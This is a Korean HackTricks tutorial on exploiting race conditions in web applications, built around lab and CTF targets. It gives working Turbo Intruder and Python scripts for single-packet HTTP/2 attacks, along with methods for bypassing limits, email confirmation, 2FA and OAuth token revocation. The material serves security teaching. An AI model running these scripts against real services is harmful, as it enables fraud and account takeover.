24 KiB
Race Condition
Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 Twitter 🐦 @hacktricks_live**를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
{% hint style="warning" %} 이 기술에 대한 깊은 이해를 얻으려면 https://portswigger.net/research/smashing-the-state-machine에서 원본 보고서를 확인하세요. {% endhint %}
레이스 조건 공격 강화
레이스 조건을 이용하는 데 있어 주요 장애물은 여러 요청이 동시에 처리되도록 보장하는 것입니다. 처리 시간의 차이가 매우 적어야 하며, 이상적으로는 1ms 미만이어야 합니다.
여기 요청 동기화를 위한 몇 가지 기술이 있습니다:
HTTP/2 단일 패킷 공격 vs. HTTP/1.1 마지막 바이트 동기화
- HTTP/2: 단일 TCP 연결을 통해 두 개의 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동으로 인해 두 개의 요청만으로는 일관된 레이스 조건 공격이 불가능할 수 있습니다.
- HTTP/1.1 '마지막 바이트 동기화': 20-30개의 요청의 대부분을 미리 전송하고, 작은 조각을 보류한 후 함께 전송하여 서버에 동시에 도착하도록 합니다.
마지막 바이트 동기화를 위한 준비는 다음과 같습니다:
- 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 본문 데이터를 전송합니다.
- 초기 전송 후 100ms 동안 일시 중지합니다.
- TCP_NODELAY를 비활성화하여 Nagle의 알고리즘을 사용하여 최종 프레임을 배치합니다.
- 연결을 준비하기 위해 핑을 보냅니다.
보류된 프레임을 이후에 전송하면 단일 패킷으로 도착해야 하며, Wireshark를 통해 확인할 수 있습니다. 이 방법은 일반적으로 RC 공격에 포함되지 않는 정적 파일에는 적용되지 않습니다.
서버 아키텍처에 적응하기
대상의 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있으며, 이는 타이밍에 영향을 미칩니다. 무의미한 요청을 통해 서버 측 연결을 미리 준비하면 요청 타이밍을 정상화할 수 있습니다.
세션 기반 잠금 처리
PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다.
속도 또는 리소스 제한 극복
연결 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 웹 서버의 속도 또는 리소스 제한 지연을 의도적으로 유발하여 레이스 조건에 유리한 서버 측 지연을 유도할 수 있습니다.
공격 예시
- Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트): 요청을 Turbo intruder에 보낼 수 있습니다 (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), 요청에서 **%s
**에 대해 강제로 변환할 값을 변경할 수 있습니다. 예:csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
그리고 드롭다운에서 **examples/race-single-packer-attack.py
**를 선택합니다:
다른 값을 보내려면, 클립보드에서 단어 목록을 사용하는 이 코드로 수정할 수 있습니다:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
웹이 HTTP2를 지원하지 않는 경우(오직 HTTP1.1만 지원) Engine.THREADED
또는 Engine.BURP
를 Engine.BURP2
대신 사용하세요.
{% endhint %}
- Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트): RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 그 후 여러 엔드포인트에 요청을 보내야 하는 경우,
race-single-packet-attack.py
스크립트를 다음과 같이 변경할 수 있습니다:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Burp Suite의 새로운 '병렬로 그룹 전송' 옵션을 통해 Repeater에서도 사용할 수 있습니다.
- limit-overrun의 경우, 그룹에 같은 요청을 50번 추가하면 됩니다.
- connection warming을 위해, 그룹의 시작 부분에 웹 서버의 비정적 부분에 대한 요청을 추가할 수 있습니다.
- 지연을 위해 하나의 요청과 다른 요청 간의 처리 사이에 2단계 하위 상태에서 추가 요청을 추가할 수 있습니다.
- 다중 엔드포인트 RC의 경우, 숨겨진 상태로 가는 요청을 먼저 보내고, 그 뒤에 숨겨진 상태를 악용하는 50개의 요청을 보낼 수 있습니다.
- 자동화된 파이썬 스크립트: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다(이는 코드에서 이메일을 수정할 수 있는 RC가 발견되었지만 확인이 이전 이메일로 전송되도록 이미 첫 번째 이메일로 채워진 변수가 있었기 때문입니다).
"objetivo"라는 단어가 수신된 이메일에서 발견되면 변경된 이메일의 확인 토큰을 수신한 것이며 공격을 종료합니다.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Improving Single Packet Attack
원래 연구에서는 이 공격이 1,500 바이트의 한계를 가지고 있다고 설명합니다. 그러나 이 게시물에서는 IP 레이어 분할을 사용하여 단일 패킷 공격의 1,500 바이트 제한을 TCP의 65,535 B 윈도우 제한으로 확장하는 방법이 설명되었습니다(단일 패킷을 여러 IP 패킷으로 나누고 서로 다른 순서로 전송하여 모든 조각이 서버에 도달할 때까지 패킷 재조립을 방지함). 이 기술을 통해 연구자는 약 166ms 만에 10,000개의 요청을 보낼 수 있었습니다.
이 개선이 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격을 더 신뢰할 수 있게 만들지만, 일부 소프트웨어 제한이 있을 수 있다는 점에 유의하십시오. Apache, Nginx 및 Go와 같은 일부 인기 있는 HTTP 서버는 각각 100, 128 및 250으로 설정된 엄격한 SETTINGS_MAX_CONCURRENT_STREAMS
설정을 가지고 있습니다. 그러나 NodeJS 및 nghttp2와 같은 다른 서버는 무제한입니다.
이는 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 것을 의미합니다(이 RC 공격을 제한함).
이 기술을 사용하는 몇 가지 예는 레포지토리 https://github.com/Ry0taK/first-sequence-sync/tree/main에서 찾을 수 있습니다.
Raw BF
이전 연구 이전에 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 있었습니다.
- Repeater: 이전 섹션의 예를 확인하십시오.
- Intruder: Intruder에 요청을 보내고, 옵션 메뉴에서 스레드 수를 30으로 설정하고, 페이로드로 Null payloads를 선택하고 30을 생성합니다.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- 파이썬 - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
이것은 행동을 수행할 수 있는 횟수를 제한하는 곳에서 발생하는 취약점의 가장 기본적인 유형입니다. 예를 들어, 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 경우입니다. 매우 쉬운 예는 이 보고서 또는 이 버그에서 찾을 수 있습니다.
이러한 종류의 공격에는 여러 가지 변형이 있습니다:
- 기프트 카드를 여러 번 사용하기
- 제품에 대해 여러 번 평가하기
- 계좌 잔액을 초과하여 현금을 인출하거나 이체하기
- 단일 CAPTCHA 솔루션 재사용하기
- 반 브루트 포스 속도 제한 우회하기
Hidden substates
복잡한 레이스 조건을 악용하는 것은 종종 숨겨진 또는 의도하지 않은 기계 하위 상태와 상호작용할 수 있는 짧은 기회를 이용하는 것을 포함합니다. 접근 방법은 다음과 같습니다:
- 잠재적 숨겨진 하위 상태 식별
- 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 파악하는 것부터 시작합니다. 다음에 집중하세요:
- 저장소: 클라이언트 측 데이터를 처리하는 것보다 서버 측 지속 데이터를 조작하는 엔드포인트를 선호합니다.
- 작업: 기존 데이터를 변경하는 작업을 찾습니다. 이는 새로운 데이터를 추가하는 것보다 악용 가능한 조건을 생성할 가능성이 더 높습니다.
- 키잉: 성공적인 공격은 일반적으로 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키가 지정된 작업을 포함합니다.
- 초기 탐색 수행
- 식별된 엔드포인트에 대해 레이스 조건 공격을 테스트하고 예상 결과와의 편차를 관찰합니다. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 신호할 수 있습니다.
- 취약점 입증
- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 좁힙니다. 종종 두 개의 요청만 필요합니다. 이 단계는 정밀한 타이밍이 필요하기 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.
시간 민감 공격
요청의 타이밍을 정밀하게 조정하면 취약점을 드러낼 수 있습니다. 특히 보안 토큰에 타임스탬프와 같은 예측 가능한 방법이 사용될 때 그렇습니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하면 동시에 요청에 대해 동일한 토큰이 허용될 수 있습니다.
악용 방법:
- 단일 패킷 공격과 같은 정밀한 타이밍을 사용하여 동시 비밀번호 재설정 요청을 합니다. 동일한 토큰은 취약점을 나타냅니다.
예시:
- 두 개의 비밀번호 재설정 토큰을 동시에 요청하고 비교합니다. 일치하는 토큰은 토큰 생성의 결함을 나타냅니다.
이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.
Hidden substates 사례 연구
Pay & add an Item
이 PortSwigger Lab를 확인하여 상점에서 지불하고 추가 아이템을 추가하는 방법을 알아보세요. 지불할 필요가 없습니다.
Confirm other emails
아이디어는 이메일 주소를 확인하고 동시에 다른 이메일로 변경하여 플랫폼이 변경된 새 이메일을 확인하는지 알아보는 것입니다.
Change email to 2 emails addresses Cookie based
이 연구에 따르면 Gitlab은 이 방법으로 인수 공격에 취약했습니다. 왜냐하면 하나의 이메일의 이메일 확인 토큰을 다른 이메일로 보낼 수 있기 때문입니다.
이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.
Hidden Database states / Confirmation Bypass
데이터베이스에 정보를 추가하기 위해 2개의 서로 다른 쓰기가 사용되면, 첫 번째 데이터만 데이터베이스에 기록된 짧은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 사용자 이름과 비밀번호가 기록되고 새로 생성된 계정을 확인하기 위한 토큰이 기록됩니다. 이는 짧은 시간 동안 계정을 확인하기 위한 토큰이 null임을 의미합니다.
따라서 계정을 등록하고 빈 토큰(token=
또는 token[]=
또는 기타 변형)을 사용하여 즉시 계정을 확인하기 위한 여러 요청을 보내면 이메일을 제어하지 않는 계정을 확인할 수 있습니다.
이것을 확인하세요 PortSwigger Lab 에서 시도해 보세요.
Bypass 2FA
다음 의사 코드는 레이스 조건에 취약합니다. 왜냐하면 세션이 생성되는 동안 2FA가 적용되지 않는 매우 짧은 시간이 있기 때문입니다:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 영구 지속성
여러 OAUth 제공자가 있습니다. 이러한 서비스는 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 클라이언트는 귀하의 애플리케이션이 OAUth 제공자 내의 일부 데이터에 접근할 수 있도록 허용해야 합니다.
여기까지는 구글/링크드인/깃허브 등으로 로그인하는 일반적인 과정으로, "애플리케이션 <InsertCoolName>이 귀하의 정보에 접근하고자 합니다. 허용하시겠습니까?"라는 페이지가 표시됩니다.
authorization_code
의 경쟁 조건
문제는 귀하가 허용할 때 발생하며, 악의적인 애플리케이션에 **authorization_code
**가 자동으로 전송됩니다. 그런 다음 이 **애플리케이션은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **authorization_code
로부터 여러 개의 AT/RT (인증 토큰/리프레시 토큰)를 생성합니다. 기본적으로, 애플리케이션이 귀하의 데이터에 접근하도록 허용한 사실을 악용하여 여러 계정을 생성합니다. 그런 다음, 귀하가 애플리케이션이 귀하의 데이터에 접근하는 것을 중지하면 한 쌍의 AT/RT가 삭제되지만, 다른 것들은 여전히 유효합니다.
Refresh Token
의 경쟁 조건
유효한 RT를 얻은 후, 여러 개의 AT/RT를 생성하기 위해 악용할 수 있으며, 사용자가 악의적인 애플리케이션이 자신의 데이터에 접근하는 권한을 취소하더라도, 여러 RT는 여전히 유효합니다.
웹소켓의 RC
WS_RaceCondition_PoC에서 웹소켓의 경쟁 조건을 악용하기 위해 병렬로 웹소켓 메시지를 전송하는 Java PoC를 찾을 수 있습니다.
참고 문헌
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나, Twitter에서 팔로우하세요 🐦 @hacktricks_live.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}